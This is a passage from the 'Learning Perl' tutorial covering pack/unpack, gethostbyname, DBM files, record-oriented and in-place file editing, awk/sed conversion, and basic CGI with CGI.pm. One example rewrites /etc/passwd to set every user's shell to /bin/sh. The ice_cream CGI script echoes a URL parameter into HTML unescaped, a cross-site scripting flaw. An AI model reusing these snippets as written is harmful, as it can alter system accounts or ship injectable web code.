generates a four-character string that looks like either ABCD or DCBA, depending on whether the machine is little-endian or big-endian (or something entirely different if the machine doesn't speak ASCII). This happens because we are packing one value into four characters (the length of a long integer), and the one value just happens to be composed of the bytes representing the ASCII values for the first four letters of the alphabet. Similarly,

$buf = pack("ll", 0x41424344, 0x45464748);

creates an eight-byte string consisting of ABCDEFGH or DCBAHGFE, once again depending on whether the machine is little- or big-endian.

The exact list of the various pack formats is given in the reference documentation (perlfunc (1), or Programming Perl). You'll see a few here as examples, but we're not going to list them all.

What if you were given the eight-byte string ABCDEFGH and were told that it was really the memory image (one character is one byte) of two long (four-byte) signed values? How would you interpret it? Well, you'd need to do the inverse of pack, called unpack. This function takes a format control string (usually identical to the one you'd give pack) and a data string, and returns a list of values that make up the memory image defined in the data string. For example, let's take that string apart:

($val1,$val2) = unpack("ll","ABCDEFGH");

This gives us back something like 0x41424344 for $val1, or possibly 0x44434241 instead (depending on big-endian-ness). In fact, by the values that come back, we can determine if we are on a little- or big-endian machine.

Whitespace in the format control string is ignored, and can be used for readability. A number in the format control string generally repeats the previous specification that many times. For example, CCCC can also be written C4 or C2C2 with no change in meaning. (A few of the specifications use a trailing number as a part of the specification, and thus cannot be multiplied like that.)

A format character can also be followed by a *, which repeats the format character enough times to swallow up the rest of the list or the rest of the binary image string (depending on whether you are packing or unpacking). So, here's another way to pack four unsigned characters into a string:

$buf = pack("C*", 140, 186, 65, 25);

The four values here are swallowed up by the one format specification. If you had wanted two short integers followed by "as many unsigned chars as possible," you can say something like this:

$buf = pack("s2 C*", 3141, 5926, 5, 3, 5, 8, 9, 7, 9, 3, 2);

Here, we take the first two values as shorts (generating four or eight characters, probably) and the remaining nine values as unsigned characters (generating nine characters, almost certainly).

Going in the other direction, unpack with an asterisk specification can generate a list of elements of unpredetermined length. For example, unpacking with C* creates one list element (a number) for each string character. So, the statement

@values = unpack("C*", "hello, world!\n");

yields a list of 14 elements, one for each of the characters of the string.

Previous: 16.1 Getting Password and Group Information | Learning Perl | Next: 16.3 Getting Network Information
16.1 Getting Password and Group Information | Book Index | 16.3 Getting Network Information


[Chapter 16] 16.3 Getting Network Information

Learning PerlSearch this book

16.3 Getting Network Information

Perl supports network programming in a way that is very familiar to those who have written network code in C programs. In fact, most of the Perl functions that provide network access have the same names and similar parameters as their C counterparts. We can't teach a complete course on network programming in this chapter, but let's look at one of the task fragments to see how it's done in Perl.

One of the things you need to find out is the address that goes with a name, or vice versa. In C, you use the gethostbyname (3) routine to convert a network name to a network address. You then use this address to create a connection from your program to another program somewhere else.

The Perl function to translate a hostname to an address has the same name and similar parameters as the C routine, and looks like this:

($name, $aliases, $addrtype, $length, @addrs) =
    gethostbyname($name); # generic form of gethostbyname

The parameter to this function is a hostname, e.g., slate.bedrock.com. The return value is a list of four or more parameters, depending on how many addresses are associated with the name. If the hostname is not valid, the function returns an empty list.

If gethostbyname is called in a scalar context, only the (first) address is returned.

When gethostbyname completes successfully, $name is the canonical name, which differs from the input name if the input name is an alias. $aliases are a list of space-separated names by which the host is also known. $addrtype gives a coded value to indicate the form of the addresses. In this case, for slate.bedrock.com, we can presume that the value indicates an IP address, usually represented as four numbers under 256, separated by dots. $length gives the number of addresses, which is actually redundant information since you can look at the length of @addrs anyway.

But the useful part of the return value is @addrs. Each element of the list is a separate IP address, stored in an internal format, handled in Perl as a four-character string.[2] While this four-character string is exactly what other Perl networking functions are looking for, suppose we wanted to print out the result for the user to see. In this case, we need to convert the return value into a human-readable format with the assistance of the unpack function and a little additional massaging. Here's code that prints one of slate.bedrock.com's IP addresses:

($addr) = (gethostbyname("slate.bedrock.com"))[4];
print "Slate's address is ",
    join(".",unpack("C4", $addr)), "\n";

[2] Well, at least until IPv6.

unpack takes the four-byte string and returns four numbers. These just happen to be in the right order for join to glue in a dot between each pair of numbers to make the human-readable form. See Appendix C, Networking Clients, for information about building simple networking clients.

Previous: 16.2 Packing and Unpacking Binary Data | Learning Perl | Next: 16.4 Exercise
16.2 Packing and Unpacking Binary Data | Book Index | 16.4 Exercise


[Chapter 16] 16.4 Exercise

Learning PerlSearch this book

16.4 Exercise

See Appendix A, Exercise Answers for the answer.

  1. Write a program to create a mapping of userIDs and real names from the password entries, then uses that map to show a list of real names that belong to each group in the group file. (Does your list include users who have a default group in the password entry but no explicit mention of that same group in the group entry? If not, how would you accomplish that?)

Previous: 16.3 Getting Network Information | Learning Perl | Next: 17. User Database Manipulation
16.3 Getting Network Information | Book Index | 17. User Database Manipulation


[Chapter 17] User Database Manipulation

Learning PerlSearch this book
Previous: 16.4 Exercise Chapter 17 Next: 17.2 Opening and Closing DBM Hashes

17. User Database Manipulation

Contents:
DBM Databases and DBM Hashes
Opening and Closing DBM Hashes
Using a DBM Hash
Fixed-Length Random Access Databases
Variable-Length ( Text) Databases
Exercises

17.1 DBM Databases and DBM Hashes

Most UNIX systems have a standard library called DBM. This library provides a simple database management facility that allows programs to store a collection of key-value pairs into a pair of disk files. These files retain the values in the database between invocations of the programs using the database, and these programs can add new values, update existing values, or delete old values.

The DBM library is fairly simple, but being readily available, some system programs have used it for their fairly modest needs. For example, sendmail (and its variants and derivatives) stores the aliases database (the mapping of mail addresses to recipients) as a DBM database. The most popular Usenet news software uses a DBM database to track current and recently seen articles. The Sun NIS (n蔱 YP) database masters are also kept in DBM format.

Perl provides access to this same DBM mechanism through a rather clever means: a hash may be associated with a DBM database through a process similar to opening a file. This hash (called a DBM array) is then used to access and modify the DBM database. Creating a new element in the array modifies the DBM database immediately. Deleting an element deletes the value from the DBM database. And so on.[1]

[1] This is actually just a special use of the general tie mechanism. If you want something more flexible, check out the AnyDBM_File (3), DB_File (3), and perltie (1) manpages.

The size, number, and kind of keys and values in a DBM database are restricted, and depending on which version of DBM library you're using, a DBM array may share these same restrictions. See the AnyDBM_File manpage for details. In general, if you keep both the keys and the values down to 1000 arbitrary binary characters or less, you'll probably be OK.

Previous: 16.4 Exercise | Learning Perl | Next: 17.2 Opening and Closing DBM Hashes
16.4 Exercise | Book Index | 17.2 Opening and Closing DBM Hashes


[Chapter 17] 17.2 Opening and Closing DBM Hashes

Learning PerlSearch this book

17.2 Opening and Closing DBM Hashes

To associate a DBM database with a DBM array, use the dbmopen function, which looks like this:

dbmopen(%ARRAYNAME, "dbmfilename", $mode);

The %ARRAYNAME parameter is a Perl hash. (If this hash already has values, the values are discarded.) This hash becomes connected to the DBM database called dbmfilename, usually stored on disk as a pair of files called dbmfilename.dir and dbmfilename.pag.

The $mode parameter is a number that controls the permission bits of the pair of files if the files need to be created. The number is typically specified in octal: the frequently used value of 0644 gives read-only permission to everyone but the owner, who gets read-write permission. If the files already exist, this parameter has no effect. For example:

dbmopen(%FRED, "mydatabase", 0644); # open %FRED onto mydatabase

This invocation associates the hash %FRED with the disk files mydatabase.dir and mydatabase.pag in the current directory. If the files don't already exist, they are created with a mode of 0644 modified by the current umask.

The return value from the dbmopen is true if the database could be opened or created, and false otherwise, just like an open invocation. If you don't want the files created, use a $mode value of undef. For example:

dbmopen(%A,"/etc/xx",undef) || die "cannot open DBM /etc/xx";

In this case, if the files /etc/xx.dir and /etc/xx.pag cannot be opened, the dbmopen call returns false, rather than attempting to create the files.

The DBM array stays open throughout the program. When the program terminates, the association is terminated. You can also break the association in a manner similar to closing a filehandle, by using the dbmclose function:

dbmclose(%A);

Like close, dbmclose returns false if something goes wrong.

Previous: 17.1 DBM Databases and DBM Hashes | Learning Perl | Next: 17.3 Using a DBM Hash
17.1 DBM Databases and DBM Hashes | Book Index | 17.3 Using a DBM Hash


[Chapter 17] 17.3 Using a DBM Hash

Learning PerlSearch this book

17.3 Using a DBM Hash

Once the database is opened, accesses to the DBM hash are mapped into references to the database. Changing or adding a value in the hash causes the corresponding entries to be immediately written into the disk files. For example, once %FRED is opened from the earlier example, we can add, delete, or access elements of the database, like this:

$FRED{"fred"} = "bedrock";  # create (or update) an element
delete $FRED{"barney"};     # remove an element of the database
foreach $key (keys %FRED) { # step through all values
    print "$key has value of $FRED{$key}\n";
}

That last loop has to scan through the entire disk file twice: once to access the keys, and a second time to look up the values from the keys. If you are scanning through a DBM hash, it's generally more disk-efficient to use the each operator, which makes only one pass:

while (($key, $value) = each(%FRED)) {
    print "$key has value of $value\n";
}

If you are accessing system DBM databases, such as the ones created by sendmail or NIS, you must be aware that dubiously written C programs sometimes tack on a trailing NUL (\0) character to the end of their strings. The DBM library routines do not need this NUL (they handle binary data using a byte count, not a NUL-delimited string), and so the NUL is stored as part of the data. You must therefore append a NUL character to the end of your keys and discard the NUL from the end of the returned values to have the data make sense. For example, to look up merlyn in the aliases database, try something like this:

dbmopen(%ALI, "/etc/aliases", undef) || die "no aliases?";
$value = $ALI{"merlyn\0"};                     # note appended NUL
chop($value);                                  # remove appended NUL
print "Randal's mail is headed for: $value\n"; # show result

Your version of UNIX may stick the aliases database over in /usr/lib rather than /etc. You'll have to poke around to find out. Newer versions of sendmail are free of the NUL bug.

Previous: 17.2 Opening and Closing DBM Hashes | Learning Perl | Next: 17.4 Fixed-Length Random Access Databases
17.2 Opening and Closing DBM Hashes | Book Index | 17.4 Fixed-Length Random Access Databases


[Chapter 17] 17.4 Fixed-Length Random Access Databases

Learning PerlSearch this book

17.4 Fixed-Length Random Access Databases

Another form of persistent data is the fixed-length, record-oriented disk file. In this scheme, the data consists of a number of records of identical length. The numbering of the records is either not important or determined by some indexing scheme.

For example, we might have a series of records in which the data has 40 characters of first name, a one-character middle initial, 40 characters of last name, and then a two-byte integer for the age. Each record is then 83 bytes long. If we were reading all of the data in the database, we'd read chunks of 83 bytes until we got to the end. If we wanted to go to the fifth record, we'd skip ahead four times 83 bytes (332 bytes) and read the fifth record directly.

Perl supports programs that use such a disk file. A few things are necessary in addition to what you already know:

  1. Opening a disk file for both reading and writing

  2. Moving around in this file to an arbitrary position

  3. Fetching data by a length rather than up to the next newline

  4. Writing data down in fixed-length blocks

The open function takes an additional plus sign before its I/O direction specification to indicate that the file is really being opened for both reading and writing. For example:

open(A,"+<b");  # open file b read/write (error if file absent)
open(C,"+>d");  # create file d, with read/write access
open(E,"+>>f"); # open or create file f with read/write access

Notice that all we've done was to prepend a plus sign to the I/O direction.

Once we've got the file open, we need to move around in it. We do this with the seek function, which takes the same three parameters as the fseek (3) library routine. The first parameter is a filehandle; the second parameter gives an offset, which is interpreted in conjunction with the third parameter. Usually, you'll want the third parameter to be zero so that the second parameter selects a new absolute position for next read from or write to the file. For example, to go to the fifth record on the filehandle NAMES (as described above), you can do this:

seek(NAMES,4*83,0);

Once the file pointer has been repositioned, the next input or output will start there. For output, use the print function, but be sure that the data you are writing is the right length. To obtain the right length, we can call upon the pack function:

print NAMES pack("A40 A A40 s", $first, $middle, $last, $age);

That pack specifier gives 40 characters for $first, a single character for $middle, 40 more characters for $last, and a short (two bytes) for the $age. This should be 83 bytes long, and will be written at the current file position.

Last, we need to fetch a particular record. Although the <NAMES> construct returns all of the data from the current position to the next newline, that's not correct; the data is supposed to go for 83 bytes, and there probably isn't a newline right there. Instead, we use the read function, which looks and works a lot like its UNIX system call counterpart:

$count = read(NAMES, $buf, 83);

The first parameter for read is the filehandle. The second parameter is a scalar variable that holds the data that will be read. The third parameter gives the number of bytes to read. The return value from read is the number of bytes actually read; typically the same number as the number of bytes asked for unless the filehandle is not opened or you are too close to the end of the file.

Once you have the 83-character data, just break it into its component parts with the unpack function:

($first, $middle, $last, $age) = unpack("A40 A A40 s", $buf);

Note that the pack and unpack format strings are the same. Most programs store this string in a variable early in the program, and even compute the length of the records using pack instead of sprinkling the constant 83 everywhere:

$names = "A40 A A40 s";
$names_length = length(pack($names)); # probably 83

Previous: 17.3 Using a DBM Hash | Learning Perl | Next: 17.5 Variable-Length ( Text) Databases
17.3 Using a DBM Hash | Book Index | 17.5 Variable-Length ( Text) Databases


[Chapter 17] 17.5 Variable-Length ( Text) Databases

Learning PerlSearch this book

17.5 Variable-Length ( Text) Databases

Many UNIX system databases (and quite a few user-created databases) are a series of human-readable text lines, with one record per line. For example, the password file consists of one line per user on the system, and the hosts file contains one line per hostname.

Most often, these databases are updated with simple text editors. Updating such a database consists of reading it all into a temporary area (either memory or another disk file), making the necessary changes, and then either writing the result back to the original file or creating a new file with the same name after deleting or renaming the old version. You can think of this as a copy pass: the data is copied from the original database to a new version of the database, making changes during the copy.

Perl supports a copy-pass-style edit on line-oriented databases using inplace editing. Inplace editing is a modification of the way the diamond operator (<>) reads data from the list of files specified on the command line. Most often, this editing mode is accessed by setting the -i command-line argument, but we can also trigger the inplace editing mode from within a program, as shown in the examples that follow.

To trigger the inplace editing mode, set a value into the $^I scalar variable. The value of this variable is important and will be discussed in a moment.

When the <> construct is used and $^I has a value other than undef, the steps marked ##INPLACE## in the following code are added to the list of implicit actions the diamond operator takes:

$ARGV = shift @ARGV;
open(ARGV,"<$ARGV");
rename($ARGV,"$ARGV$^I"); ## INPLACE ##
unlink($ARGV);            ## INPLACE ##
open(ARGVOUT,">$ARGV");   ## INPLACE ##
select(ARGVOUT);          ## INPLACE ##

The effect is that reads from the diamond operator come from the old file, and writes to the default filehandle go to a new copy of the file. The old file remains in a backup file, which is the filename with a suffix equal to the value of the $^I variable. (There's also a bit of magic to copy the permission bits from the old file to the new file.) These steps are repeated each time a new file is taken from the @ARGV array.

Typical values for $^I are things like .bak or ~, to create backup files much like the editor creates. A strange and useful value for $^I is the empty string, "", which causes the old file to be neatly eliminated after the edit is complete. Unfortunately, if the system or program crashes during the execution of your program, you lose all of your old data, so this is recommended only for brave, foolish, or trusting souls.

Here's a way to change everyone's login shell to /bin/sh by editing the password file:

@ARGV = ("/etc/passwd"); # prime the diamond operator
$^I = ".bak";            # write /etc/passwd.bak for safety
while (<>) {             # main loop, once for each line of /etc/passwd
    s#:[^:]*$#:/bin/sh#; # change the shell to /bin/sh
    print;               # send output to ARGVOUT: the new /etc/passwd
}

As you can see, this program is pretty simple. In fact, the same program can be generated entirely with a few command-line arguments, as in:

perl -p -i.bak -e 's#:[^:]*$#:/bin/sh#' /etc/passwd

The -p switch brackets your program with a while loop that includes a print statement. The -i switch sets a value into the $^I variable. The -e switch defines the following argument as a piece of Perl code for the loop body, and the final argument gives an initial value to @ARGV.

Command-line arguments are discussed in greater detail in Programming Perl and the perlrun manpage.

Previous: 17.4 Fixed-Length Random Access Databases | Learning Perl | Next: 17.6 Exercises
17.4 Fixed-Length Random Access Databases | Book Index | 17.6 Exercises


[Chapter 17] 17.6 Exercises

Learning PerlSearch this book

17.6 Exercises

See Appendix A, Exercise Answers for answers.

  1. Create a program to open the sendmail alias database and print out all the entries.

  2. Create two programs: one that reads the data from <>, splits it into words, and updates a DBM file noting the number of occurrences of each word; and another program to open the DBM file and display the results sorted by descending count. Run the first program on a few files and see if the second program picks up the proper counts.

Previous: 17.5 Variable-Length ( Text) Databases | Learning Perl | Next: 18. Converting Other Languages to Perl
17.5 Variable-Length ( Text) Databases | Book Index | 18. Converting Other Languages to Perl


[Chapter 18] Converting Other Languages to Perl

Learning PerlSearch this book
Previous: 17.6 Exercises Chapter 18 Next: 18.2 Converting sed Programs to Perl

18. Converting Other Languages to Perl

Contents:
Converting awk Programs to Perl
Converting sed Programs to Perl
Converting Shell Programs to Perl
Exercise

18.1 Converting awk Programs to Perl

One of the many cool things about Perl is that it is (at least) a semantic superset of awk. In practical terms, this means if you can do something in awk, you can also do it somehow in Perl. However, Perl isn't syntactically compatible with awk. For example, awk's NR (input record number) variable is represented as $. in Perl.

If you have an existing awk program, and wish it to run with Perl, you can perform a mechanical translation using the a2p utility provided with the Perl distribution. This utility converts the awk syntax into the Perl syntax, and for the vast majority of awk programs, provides a directly runnable Perl script.

To use the a2p utility, put your awk program into a separate file and invoke a2p with the name of the file as its argument, or redirect the standard input of a2p to the file. The resulting standard output will be a valid Perl program. For example:

$ cat myawkprog
BEGIN { sum = 0 }
/llama/ { sum += $2 }
END { print "The llama count is " sum }
$ a2p <myawkprog >myperlprog
$ perl myperlprog somefile
The llama count is 15
$

You can also feed the standard output of a2p directly into Perl, because the Perl interpreter accepts a program on standard input if so instructed:

$ a2p <myawkprog | perl - somefile
The llama count is 15
$

An awk script converted to Perl will generally perform the identical function, often with an increase in speed, and certainly without any of awk's built-in limits on line lengths or parameter counts or whatever. A few converted Perl programs may actually run slower; the equivalent action in Perl for a given awk operation may not necessarily be the most efficient Perl code if one was programming from scratch.

You may choose to hand-optimize the converted Perl code, or add new functionality to the Perl version of the program. This is fairly easy, because the Perl code is rather readable (considering that the translation is automatic, this is quite an accomplishment).

A few translations are not mechanical. For example, the less-than comparison for both numbers and strings in awk is expressed with the < operator. In Perl, you have lt for strings and < for numbers. awk generally makes a reasonable guess about the number-ness or string-ness of two values being compared, and the a2p utility makes a similar guess. However, it's possible that there isn't enough known about two values to determine whether a number or a string comparison is warranted, so a2p outputs the most likely operator and marks the possibly erroneous line with #?? (a Perl comment) and an explanation. Be sure to scan the output for such comments after conversion to verify the proper guesses. For more details about the operation of a2p, consult its manpage. If a2p is not found in the same directory that you get Perl from, complain loudly to your Perl installer.

Previous: 17.6 Exercises | Learning Perl | Next: 18.2 Converting sed Programs to Perl
17.6 Exercises | Book Index | 18.2 Converting sed Programs to Perl


[Chapter 18] 18.2 Converting sed Programs to Perl

Learning PerlSearch this book

18.2 Converting sed Programs to Perl

Well, this may begin to sound like a repeat, but guess what? Perl is a semantic superset of sed as well as awk.

And with the distribution comes a sed-to-Perl translator called s2p. As with a2p, s2p takes a sed script on standard input and writes a Perl program on standard output. Unlike a2p, the converted program rarely misbehaves, so you can pretty much count on it working, barring any bugs in s2p or Perl.

Converted sed programs may work faster or slower than the original, but are generally much faster (thanks to the highly optimized regular expression routines of Perl).

The converted sed script can operate either with or without a -n option, having the same meaning as the corresponding switch for sed. To do this, the converted script must feed itself into the C preprocessor, and this slows down the startup a little bit. If you know that you will always invoke the converted sed script with or without a -n option (such as when you are converting a sed script used in a larger shell program with known arguments), you can inform s2p (via the -n and -p switches), and it will optimize the script for that switch setting.

As an example of how versatile and powerful Perl is, the s2p translator is written in Perl. If you want to see how Larry codes in Perl (even though it's very ancient code relatively unchanged since Perl Version 2), take a look at the translator. Be sure you are sitting down.

Previous: 18.1 Converting awk Programs to Perl | Learning Perl | Next: 18.3 Converting Shell Programs to Perl
18.1 Converting awk Programs to Perl | Book Index | 18.3 Converting Shell Programs to Perl


[Chapter 18] 18.3 Converting Shell Programs to Perl

Learning PerlSearch this book

18.3 Converting Shell Programs to Perl

Heh. Thought there'd be a shell-to-Perl translator, eh?

Nope. Many have asked for such a beast, but the real problem is that most of what a shell script does is not done by the shell. Most shell scripts spend practically all of their time calling separate programs to extract pieces of strings, compare numbers, concatenate files, remove directories, and so forth and so on. Converting such a script to Perl would either require understanding the operation of each of the called utilities, or leave Perl calling each of the utilities, which gains nothing.

So, the best you can do is stare at a shell script, figure out what it does, and start from scratch with Perl. Of course, you can do a quick-and-dirty transliteration, by putting major portions of the original script inside system() calls or backquotes. You might be able to replace some of the operations with native Perl: for example, replace system(rm fred) with unlink(fred), or a shell for loop with a Perl for loop. But generally you'll find it's a bit like converting a COBOL program into C (with about the same reduction in the number of characters and increase in illegibility).

Previous: 18.2 Converting sed Programs to Perl | Learning Perl | Next: 18.4 Exercise
18.2 Converting sed Programs to Perl | Book Index | 18.4 Exercise


[Chapter 18] 18.4 Exercise

Learning PerlSearch this book

18.4 Exercise

See Appendix A, Exercise Answers for the answer.

  1. Convert the following shell script into a Perl program:

    cat /etc/passwd |
awk -F: '{print $1, $6}' |
while read user home
do
  newsrc="$home/.newsrc"
  if [ -r $newsrc ]
  then
    if grep -s '^comp\.lang\.perl\.announce:' $newsrc
    then
      echo -n "$user is a good person, ";
      echo "and reads comp.lang.perl.announce!"
    fi
  fi
done

Previous: 18.3 Converting Shell Programs to Perl | Learning Perl | Next: 19. CGI Programming
18.3 Converting Shell Programs to Perl | Book Index | 19. CGI Programming


[Chapter 19] CGI Programming

Learning PerlSearch this book
Previous: 18.4 Exercise Chapter 19 Next: 19.2 Your CGI Program in Context

19. CGI Programming

Contents:
The CGI.pm Module
Your CGI Program in Context
Simplest CGI Program
Passing Parameters via CGI
Less Typing
Form Generation
Other Form Elements
Creating a Guestbook Program
Troubleshooting CGI Programs
Perl and the Web: Beyond CGI Programming
Further Reading
Exercises

Unless you've been holed up in a log cabin without electricity for the last few years, you've heard of the World Wide Web. Web addresses (better known as URLs) pop up everywhere from billboards to movie credits, from magazines and newspapers to government reports.

Many of the more interesting web pages include some sort of entry form. You supply input to this form and click on a button or picture. This fires up a program at the web server that examines your input and generates new output. Sometimes this program (commonly known as a CGI program) is just an interface to an existing database, massaging your input into something the database understands and massaging the database's output into something a web browser can understand (usually HTML).

CGI programs do more than process form input. They are also invoked when you click on a graphic image, and may in fact be used to provide whatever output that your browser sees. Instead of being dull and boring, CGI-enabled web pages can be marvelously alive with dynamic content. Dynamic information is what makes the Web an interesting and interactive place, and not just a way to read a book from your terminal.

Despite what all those bouncing balls and jumping adverts might lead you to believe, the Web contains a lot of text. Since we're dealing with text, files, network communications, and a little bit of binary data now and then, Perl is perfect for web programming.

In this chapter we'll not only explore the basics of CGI programming, but we'll also steal a little introductory knowledge about references, library modules, and object-oriented programming with Perl as we go along. Then, at the end, we'll make a quick survey of Perl's usefulness for other sorts of web programming.

As a standalone tutorial, this chapter (and most any other document shorter than a couple of hundred pages) will not be adequate to teach the more complex topics touched on here, such as object programming and the use of references. But as a means to gain a preliminary taste of what's ahead of you, the examples presented here, together with their explanations, may whet your appetite and give you some practical orientation as you slog through the appropriate textbooks. And if you're the learn-by-doing type, you'll actually start writing useful programs based on the models you find here.

We assume you already possess a basic familiarity with HTML.

19.1 The CGI.pm Module

Starting with the 5.004 release, the standard Perl distribution includes the all-singing, all-dancing CGI.pm module.[1]

[1] If you have an earlier release of Perl (but at least Version 5.001) and haven't gotten around to upgrading yet, just grab CGI.pm from CPAN.

Written by Lincoln Stein, author of the acclaimed book How to Setup and Maintain Your Web Site, this module makes writing CGI programs in Perl a breeze. Like Perl itself, CGI.pm is platform independent, so you can use it on systems running everything from UNIX and Linux to VMS; it even runs on systems like Windows and the MacOS.

Assuming CGI.pm is already installed on your system, you can read its complete documentation in whatever fashion you're used to reading the Perl manpages, such as with the man (1) or perldoc (1) commands or as HTML. If all else fails, just read the CGI.pm file: the documentation for the module is embedded in the module itself, written in simple pod format.[2]

[2] Pod stands for "plain old documentation," the simplistic mark-up used for all Perl documentation. See the perlpod (1) manpage for how it works, plus pod2man (1), pod2html (1), or pod2text (1) for some of the pod translators.

While developing CGI programs, keep a copy of the CGI.pm manpage handy. Not only does it describe the module's functions, it's also loaded with examples and tips.

Previous: 18.4 Exercise | Learning Perl | Next: 19.2 Your CGI Program in Context
18.4 Exercise | Book Index | 19.2 Your CGI Program in Context


[Chapter 19] 19.2 Your CGI Program in Context

Learning PerlSearch this book

19.2 Your CGI Program in Context

Figure 19.1 shows the relationships between a web browser, web server, and CGI program. When you click on a link while using your browser, there is a URL associated with the link. This URL specifies a web server and a resource accessible through that server. So the browser communicates with the server, requesting the given resource. If, say, the resource is an HTML fill-out form, the web server responds by downloading the form to the browser, which then displays the form for you to fill out.

Figure 19.1: Form interaction with CGI

Each text-input field on the form has a name (given in the form's HTML code) and an associated value, which is whatever you type into the field. The form itself is associated (via the HTML <FORM> tag) with a CGI program that processes the form input. When you fill out the form and click on "Submit", the browser accesses the URL of the CGI program. But first it tacks onto the end of the URL what is called a query string consisting of one or more name=value pairs; each name is the name of a text input field, and each value is the corresponding input you provided. So the URL to which the browser submits your form input looks something like this (where the query string is everything after the question mark):

http://www.SOMEWHERE.org/cgi-bin/some_cgi_prog?flavor=vanilla&size=double

In this case there are two name=value pairs. Such pairs are separated by an ampersand (&), a detail you won't have to worry about when you use the CGI.pm module. The part of the URL that reads /cgi-bin/some_cgi_prog / receives further explanation later; at the moment, it only matters that this provides a path to the CGI program that will process the HTML form input.

When the web server (www.SOMEWHERE.org in this case) receives the URL from your browser, it invokes the CGI program, passing the name=value pairs to the program as arguments. The program then does whatever it does, and (usually) returns HTML code to the server, which in turn downloads it to the browser for display to you.

The conversation between the browser and the server, and also between the server and the CGI program, follows the protocol known as HTTP. You needn't worry much about this when writing your CGI program, because CGI.pm takes care of the protocol requirements for you.

The way in which the CGI program expects to receive its arguments (and other information) from the browser via the server is governed by the Common Gateway Interface specification. Again, you don't need to worry too much about this; as you will see, CGI.pm automatically unpacks the arguments for you.

Finally, you should know that CGI programs can work with any HTML document, not just forms. For example, you could write the HTML code

Click <a href="http://www.SOMEWHERE.org/cgi-bin/fortune.cgi">here</a> to
receive your fortune.

and fortune.cgi could be a program that simply invokes the fortune program (on UNIX systems). In this case, there wouldn't be any argument supplied to the CGI program with the URL. Or the HTML document could give two links for the user to click on - one to receive a fortune, and one to receive the current date. Both links could point to the same program, in one case with the argument fortune following the question mark in the URL, and in the other case with the argument date. The HTML links would look like this:

<a href="http://www.SOMEWHERE.org/cgi-bin/fortune_or_date?fortune">
<a href="http://www.SOMEWHERE.org/cgi-bin/fortune_or_date?date">

The CGI program (fortune_or_date in this case) would then see which of the two possible arguments it received and execute either the fortune or date program accordingly.

So you see that arguments do not have to be of the name=date variety characteristic of fill-out forms. You can write a CGI program to do most anything you please, and you can pass it most any arguments you please.

In this chapter we will primarily illustrate HTML fill-out forms. And we will assume that you understand basic HTML code already.[3]

[3] For the full story about HTML, see the O'Reilly book, HTML: The Definitive Guide, Second Edition.

Previous: 19.1 The CGI.pm Module | Learning Perl | Next: 19.3 Simplest CGI Program
19.1 The CGI.pm Module | Book Index | 19.3 Simplest CGI Program


[Chapter 19] 19.3 Simplest CGI Program

Learning PerlSearch this book

19.3 Simplest CGI Program

Here's the source code for your first CGI program; it's so simple, it doesn't even need to use the CGI.pm module:

#!/usr/bin/perl -w
# howdy--the easiest of CGI programs
print <<END_of_Multiline_Text;
Content-type: text/html

<HTML>
    <HEAD>
    <TITLE>Hello World</TITLE>
    </HEAD>
    <BODY>
    <H1>Greetings, Terrans!</H1>
    </BODY>
</HTML>

END_of_Multiline_Text

Every time this program is called, it displays exactly the same thing. That's not particularly interesting, of course, but we'll spice it up later.

This little program contains just one statement: a call to the print function. That somewhat funny looking argument is a here document. It starts with two less-than signs and a word that we'll call the end token. Although this may look like I/O redirection to a shell programmer, it's really just a convenient way to quote a multiline string. The string begins on the next line and continues up to a line containing the end token, which must stand by itself at the start of the line. Here documents are especially handy for generating HTML.

The first part in that long string is arguably the most important: the Content-Type line identifies the type of output you're generating. It's immediately followed by a blank line, which must not contain any spaces or tabs. Most beginners' first CGI programs fail because they forget that blank line, which separates the header (somewhat like a mail header) from an optional body following it.[4] After the blank line comes the HTML, which is sent on to be formatted and displayed on the user's browser.

[4] This header is required by the HTTP protocol we mentioned above.

First make sure your program runs correctly from the command line. This is a necessary but not a sufficient step to making sure your program will run as a server script. A lot of other things can go wrong; see the section on "Troubleshooting CGI Programs" later in this chapter.

Once it runs properly from the command line, you need to get the program installed on the server machine. Acceptable locations are server-dependent, although /usr/etc/httpd/cgi-bin/ and its subdirectories are often used for CGI scripts. Talk to your friendly system administrator or webmaster to make sure.

Once your program is installed in a CGI directory, you can execute it by giving its pathname to your browser as part of a URL. For example, if your program is called howdy, the URL might be http://www.SOMEWHERE.org /cgi-bin/howdy.

Servers typically define aliases for long pathnames. The server at www.SOMEWHERE.org might well translate cgi-bin/howdy in this URL to something like usr/etc/httpd/cgi-bin/howdy. Your system administrator or webmaster can tell you what alias to use when accessing your program.

Previous: 19.2 Your CGI Program in Context | Learning Perl | Next: 19.4 Passing Parameters via CGI
19.2 Your CGI Program in Context | Book Index | 19.4 Passing Parameters via CGI


[Chapter 19] 19.4 Passing Parameters via CGI

Learning PerlSearch this book

19.4 Passing Parameters via CGI

You don't need a form to pass a parameter to (most) CGI programs. To test this, change the URL to http://www.SOMEWHERE.org /cgi-bin/ice_cream?flavor=mint

When you point your browser at this URL, the browser not only requests the web server to invoke the ice_cream program, but it also passes the string flavor=mint to the program. Now it's up to the program to read the argument string and pick it apart. Doing this properly is not as easy as you might think. Many programs try to wing it and parse the request on their own, but most hand-rolled algorithms only work some of the time. Given how hard it is to get it right in all cases, you probably shouldn't try to write your own code, especially when perfectly fine modules already handle the tricky parsing business for you.

Enter the CGI.pm module, which always parses the incoming CGI request correctly. To pull this module into your program, merely say

use CGI;

somewhere near the top of your program.[5]

[5] All Perl modules end in the suffix ".pm"; in fact, the use statement assumes this suffix. You can learn how to build your own modules in Chapter 5 of Programming Perl or the perlmod (1) manpage.

The use statement is like an #include statement in C programming in that it pulls in code from another file at compile-time. But it also allows optional arguments specifying which functions and variables you'd like to access from that module. Put those in a list following the module name in the use statement. You can then access the named functions and variables as if they were your own.

In this case, all we need to use from CGI.pm is the param() function.[6]

[6] Some modules automatically export all their functions, but because CGI.pm is really an object module masquerading as a traditional module, we have to ask for its functions explicitly.

If given no arguments, param() returns a list of all the fields that were in the HTML form this CGI script is responding to. (In the current example that's the flavor field. In general, it's the list of all the names in name=value strings received from the submitted form.) If given an argument naming a field, param() returns the value (or values) associated with that field. Therefore, param("flavor") returns "mint", because we passed in ?flavor=mint at the end of the URL.

Even though we have only one item in our import list for use, we'll employ the qw() notation. This way it will be easier to expand the list later.

#!/usr/bin/perl -w
# cgi-bin/ice_cream: program to answer ice cream
# favorite flavor form (version 1)
use CGI qw(param);

print <<END_of_Start;
Content-type: text/html

<HTML>
    <HEAD>
    <TITLE>Hello World</TITLE>
    </HEAD>
    <BODY>
    <H1>Greetings, Terrans!</H1>
END_of_Start

my $favorite = param("flavor");
print "<P>Your favorite flavor is $favorite.";
print <<All_Done;
    </BODY>
</HTML>
All_Done

